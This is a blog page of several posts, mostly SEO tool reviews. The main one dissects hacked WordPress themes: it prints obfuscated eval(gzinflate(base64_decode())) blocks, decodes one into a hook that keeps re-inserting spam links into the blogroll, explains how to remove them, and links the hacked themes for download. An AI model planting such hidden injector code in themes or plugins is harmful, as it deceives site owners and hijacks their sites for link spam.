DNSRank is an all new juvenile entrant in a jungle full of raging tigers. What I mean to say is that, they’ve decided to join the whole SEO bandwagon with almost no originality on their part – which might make it very difficult for them to survive for long.

The site definitely has that Web 2.0 jazz & sparkle to it and is very well laid out. They describe themselves as a “Domain Evaluation Tool” – but I’m sorry to say that they fall way short of expectations in this quarter. Eye-candy isn’t all !! Lets face the reality. There are plenty of age old predators in this field, starting from web-based services like SEOMoz & Xinu to awesome Firefox extensions like SeoQuake, SEOpen & SearchStatus. Most of these tools give far more comprehensive information and Search Engine Optimization tips than the barebone skeletal outline offered by DNSRank. While utilising their service, I couldn’t find a single tool that could spike my interest… except maybe for the section that displays sites which share the same IP as yours. Then again, there are plenty of other services on the net that cater to just this, as a simple Google Search reveals.

DNSRank is still in it’s infancy. Running their own tool on their own domain reveals that even the domain registration is just 29 days old (on the date of writing this review). Judging by it’s age, we can certainly cut some lax. If they have market domination (or at least gaining a large percentage) in mind, they’ve already lost out of the beginning battle. They totally failed to cash in on the element of surprise (by introducing new tools & tricks) – which is so common to any Web 2.0 startup these days. If they’re really out to set a mark on the wall, they need to strive much much harder than this.

Jun 13th by miCRoSCoPiC^eaRthLinG

Hacked WordPressWhile I was away on my sabbatical (read coping with the all-new fatherhood), I occasionally managed to catch a glimpse of the latest action dramas unfolding on the net – primarily because the WordPress dashboard made it a point to present them to me on a daily basis. One of them caught my fancy and I decided to take a deeper look. The topic was Technorati & hacked WordPress blogs. More than Technorati, it was the article on Weblog Tools Collection that got me wondering…

The premises

While I had made it a point to keep abreast with the WordPress releases and firmly believed that my blog wasn’t affected by this, I wasn’t quite so sure about a couple of other blogs that I had installed for my friends / clients. Going through a few of them, I noticed that all of them had a profuse amount of random & unrelated links in their footer besides containing links to a group of common sites in their blogroll. While the footer links were more or less random (and still acceptable), I couldn’t believe that, strangers as they were, all my friends & clients had managed to put their heads together and point to the same group of sites! Naturally, I got asking and found out that none of them had ever added those links in person and that even they were confused as to where they came from. Being new to blogging most of them had taken it for granted that those links were a part of the WordPress ring and had been placed there as a reciprocating gesture for providing such a terrific blogging platform for free.

The investigation

My first step was to dig into the file footer.php, where I encountered this strange sequence of code. Here’s an example…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96))); ?>

Looks scary, doesn’t it? :D Managed to give me a fright at the first sight too. Whereas, I was expecting a bunch of hard-coded links, you get this!! Fear not. A second glance will tell you that the code isn’t really as mambo-jambo-ish as it looks. It contains 2 distinct php statements. The first one is simply the assignment of the scrambled sequence of characters to a horribly named variable i.e. $Gdb63b0c686622a27d0bdb237219e0e96.

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';

This statement alone didn’t make much sense though. It was the second statement, with it’s share of nested functions, that started shedding light on the whole issue…

eval(gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96)));

If you’re familiar with php even a bit, you’ll begin to realise that this statement decodes whatever nastiness is lurking in the first line and helps executing it using the eval() statement. Prior to that, the code has been base64 encoded (the same encoding that is applied to email attachments) and then gzipped – if you follow the order of decoding.

To really get behind the mystery code, you need to be able to SEE it. Rather simple. Just replace the eval() statement with an echo and it’ll spit the code out onto your screen instead of executing it. Following that, we modify the code block to look like this…

< ?php $Gdb63b0c686622a27d0bdb237219e0e96='jZNNa9wwEIbPXch/
mOqyG4gt2mPr1UI/oL0tSUmPRmvP2iK2pGrGawz98ZW/NhAaWl9kj2ae9
52xdFCZLM1F3WyyuEDRaKK9KBrUQTxv/WONb6atgEKxF9nB1x5OjauMP
bvdlrH1jWbMSxOwYBeG7e1HOChpWl0hybNzjCH1thKgG96LOSBWK+un
XC2a8hpUcLMByN4mCXw/w+C6bQmNeUJgB9R57wLDTxfKY0CiO6j1xdg
KuEYQ3vUYsITTIGKJfQJyLfZ1jEGSqCvW2REbpn7A0FR7QmLo9XAHhrcE
47azzQA+uNaxiSUugC4vGNhQFExhelasV1+QTGWj+KcBMg11wPNe1Mz
+g5R936cXXeiREzAOZEgL18rOGsYyIY6TJFnrXhsj1LdpnYYA8LhUwT1a
1g1lUitI4Lg0GrXGUfhxFDH8o8YW4RjcxZSvOFmzeUyltMdxCJR2JNQzaeL
MWrON5D9bEupvhrNTUDPnSnl5oALR+7wLzXyMhPpqORgk2N0/PNxOR
n6/XhyF26hG+UvK52Vj6eIKSzPpo6M38bfNLCxqBxVybrs2/9XhqL2bILB
8pTBnsmkx5MTO797NCYSFsyUtzOstmrJ7n8+neoZNl0qeXDlMmTW3zW
xg8wc=';
echo gzinflate(base64_decode($Gdb63b0c686622a27d0bdb237219e0e96));
?>

Save this code in a new php file and execute it from your local php-enabled web-server installation (in my case XAMPP) and here’s what you get…

footer


< ?php wp_footer(); ?>

Pretty much, the kind of code you’d expect in a WordPress theme footer. While one can accept the link to http://wordpressthemes.weblogs.us as the default link to the theme hosting service, I couldn’t understand what Vacation Reality had to do with it. Still, so much for the footer. All I had to do now, was to remove the whole block of code and create a clean footer as specified by my clients.

The second complaint was regarding those common links that kept appearing in the blogroll. As it turned out, some of my clients had tried deleting those links only to have them re-appear a couple of hours down the line. Time to investigate again. This time it was the file, functions.php. Didn’t have to look far. A search for the terms eval andbase64 got me to the desired point. Once again I faced a block of code that went like…

< ?php }
$Q0d299dceb2cb08cb71bfbc1414b1505a='hZBBawIxEIXPm18xDAUTsN
pzZb3ISg9tBbvFY4gmajCbhCTbUMT/3m6qpx68DTPfvPdmiJCSi13SzlJUUi
fuXUw4Rm2jComno+oUN9qekM3IvrcFhX9TyuBMqoNxW2HgIXu5nZFK72k
pH+cHlfiXCBQ/mtdm0cJi9fne0mGRa8lguV69wRUdmhE2L826gQL0wdSjY0r
+eTrNOU+yC9IHFWPsvTdaxcnOdSNkdf3ESFVlz6/pSi4RgvimWJSs6BRCPQ
fc3DSgHU6IOAa8mf0R9wwR2O9DLuQH';
eval(gzinflate(base64_decode($Q0d299dceb2cb08cb71bfbc1414b1505a)));
?>

Taking the same road as the first time fetched me this very interesting block of code..

add_action("edit_post","insert_theme_link");
function insert_theme_link() {
    global $wpdb;
    if($wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://www.wordpresssupplies.com'")==0)
        wp_insert_link(array("link_name" => "Wordpress Themes", "link_url" => "http://www.wordpresssupplies.com" ));
}

The code should be fairly self-explanatory. What we have is a function named insert_theme_link that adds a link to wordpresssupplies.com to your blogroll (contained in the table wp_links in the WordPress database), if the link isn’t present. The noteworthy line here is add_action( "edit_post","insert_theme_link" ).

The add_action function is a plug-in API hook for WordPress.

  • The first parameter dictates which WordPress action to hook or watch out for.
  • The second parameter is the name of the function that is called when the hooked action occurs.

In our case, the action is edit_post, i.e. whenever the blog author edits a post, the function that adds the link to the blogroll is executed. Hence the mysteriously re-appearing link !

The nexus

W A R N I N G!Hot on the track, I decided to follow the link that was being injected here.. i.e. wordpresssupplies.com – just to make sure this wasn’t a random case and I am not tarnishing their reputation anyhow by unjustifiably pointing fingers at them. I dropped by their site and picked 3-4 themes from different categories. And what do I find? Every single one of them contained similar code – both in the footer as well as the functions.php. Not just that – studying the links led me to two other sites teeming with hacked themes. For your convenience (and warning) I’m listing them here.

  • http://www.amazingwordpressthemes.com/
  • http://wordpressthemes.weblogs.us/

All of them are nicely decked-up and look like legit. WordPress theme sites. But be wary of any themes that you download and use from these sites for they’re certain to contain such code blocks. Apart from these links, you may also notice some other random links being injected – links to car loan sites, cheap dedicated servers etc. – shady businesses which have probably paid the hacked theme sites to insert their links and thus gain PR (pagerank) out of millions of unsuspecting sites utilising these themes.

I tried doing WHOIS on these domains, but that’s where I met-up with a wall. They’re either cloaked with Privacy Protect or contain spurious information regarding their owners. But I have a feeling that under the hood, these spammers (I prefer the term spammers here to hackers – as the people who’ve injected this code into the theme are nothing but link spammers) belong to the same group or it’s the work of a lone individual.

The Philippino blogger Yuga, outlines a couple of other methods followed by these spammers to capture / break your WordPress installation. The article is a must read.

The conclusion

On a sidenote, these themes can still be used if you carefully snip the spammy code out. Normally, the code-block in functions.php can be entirely eliminated without affecting the theme at all. As for the ones in footer.php, you’ll have to study the underlying code and eliminate the links to these sites, keeping the rest.

For those who want to experiment with such themes, I’m listing a few here for direct downloads. Disabling these themes or switching to another one will (normally) get rid of the injector code – but even then, USE AT YOUR OWN RISK.

Downloads

Emerald Waters (Hacked)  (227.0 KiB, 275 downloads)

Elegance (Hacked)  (501.7 KiB, 266 downloads)

Graytone (Hacked)  (81.9 KiB, 276 downloads)

If you manage to dig-up any other hacked theme sites like these, make sure you leave a comment enlisting them. It’ll serve as a warning note to all those who read this. And of course, if you have any thoughts to share on this issue, feel free…

May 26th by miCRoSCoPiC^eaRthLinG

Getting back to bloggingFinally… decided to shake off that writer’s block and squeeze some time out of the demands of fatherhood and get back to serious blogging.

Oh Yes ! For those who didn’t know, I was blessed with this beautiful little bundle on the 10th of February, 2008. Life has never been and never will be the same :D The bundle is a “he” – i.e. a son and has been nick-named Adi (which roughly translates to Ancient or The Very First. He’s an absolute delight to be with, though more than a handful, when he realises he’s home alone with me. More on that later…

Other than that Google decided to strip me off my pagerank, which stood last at 5 as I was involved in paid-blogging – a policy that sent up such an uproar all over the blogosphere. Seems like Google decided to take it all out on the smaller sites (mine dropped to ZERO) while just marginally denting the bigger ones. Zero is where it stood for several months – till a couple of weeks back I saw it jumping up to 2. My site’s crawling back into the PR space I guess. Luckily, it didn’t affect my traffic anyhow and although I had stopped blogging altogether, the older content was enough to keep up a steady flow.

In the professional front, my work-load has trippled. Learnt many new tricks (I had long wanted to) – such as developing a complete WordPress theme right from scratch. I picked a template out from the free ones provided by TemplateWorld and got going. The result after 1 week of messing around with the WordPress Codex can be seen here. I’m kinda proud of it and I must say, not bad at all for a weeks work starting from level zero.

Updated a few of my WordPress plug-ins too, namely curreX and LiveSig – making them way cooler and better. Also shifted the plug-in base to the SVN hosted by WordPress.

More later… in the upcoming posts. I’m teeming with ideas and the next few weeks will see plenty of them pouring forth.

Cheers!

May 25th by miCRoSCoPiC^eaRthLinG

Rank Widget Google PR 4There are plenty of services on the net which offer shiny ranking badges for your site. Rank Widget brings the more popular ones among these (Google PageRank, Alexa Traffic Rank, Technorati Blog Rank & Yahoo Search InLinks) under one roof and presents them in a plethora of colours and designs that’ll suit every conceivable taste.

Rank Widget Alexa Traffic RankThe service is free and really simple to use. Just visit Rank Widget, enter your own site’s URL and select the type of ranking badge (among the above mentioned four) you want. Once you’ve hit the Get Rank button, the selected ranking appears on a multitude of badges (both static and animated) along with the code needed to embed each in your site.

If you’re one who likes to proudly show off your site’s ranking, this service is a must try for you.

Oct 11th by miCRoSCoPiC^eaRthLinG

Xinu LogoWell, almost ! Xinu is this great new “Jack-of-all-trades” tool that analyses and returns a horde of SEO (Search Engine Optimisation) related information regarding your site, neatly stacked in a single page. A real time-saver if you ask me.

All you go to do is enter your site’s URL and hit Go. The results are fetched using AJAX – so you don’t have to suffer long wait periods while all the factors are summed up and displayed. In fact, the interface comes up with pre-created tables and SEO factor titles, where the values are simply plugged-in later on.

Among the results provided are:

  • Screen-shot of your site
  • A mini site diagnosis involving your URL’s difficulty-to-remember score, site title score (based on the number of words), keywords & description, HTML file size, number of each types of tags etc. Surprisingly, this section reported that my site doesn’t have a favicon and I need to get one, whereas you can see mine (the blue flask) the moment you land-up at my site.
  • A small domain panel that shows the IP your domain resolves to, the country where your host is located, the site author’s name and if possible the age of the domain.
  • A site ranking panel that displays you Google PageRank, Technorati rank, Alexa Traffic rank as well as the number of DMOZ listings.
  • Couple of lines of information on the type of syndication (feeds) offered by your site and the number of subscribers.
  • Number of inbound links from various well-known Social Bookmarking sites like del.icio.us, Digg, Clipmarks as well as from lesser-known ones like Mister Wong, Meneame etc.
  • Site markup validity information broken up into HTML, CSS and Feeds.
  • Number of indexed pages on Google, Yahoo and Live.
  • Lastly, the number of backlinks from all major search engines like Google, Yahoo, AllTheWeb, AskJeeves etc.

Xinu Interface Screenshot

All in all a pretty good tool – although a bit buggy in places. Hopefully, they’ll fix these soon. What I like best about Xinu is that you can stop scampering around half of the internet just to check on all the important SEO aspects of your site.

Sep 19th by miCRoSCoPiC^eaRthLinG

Page 1 of 38

    The Social Me

    Topics

    open all | close all

    Links

    Elsewhere on the Web…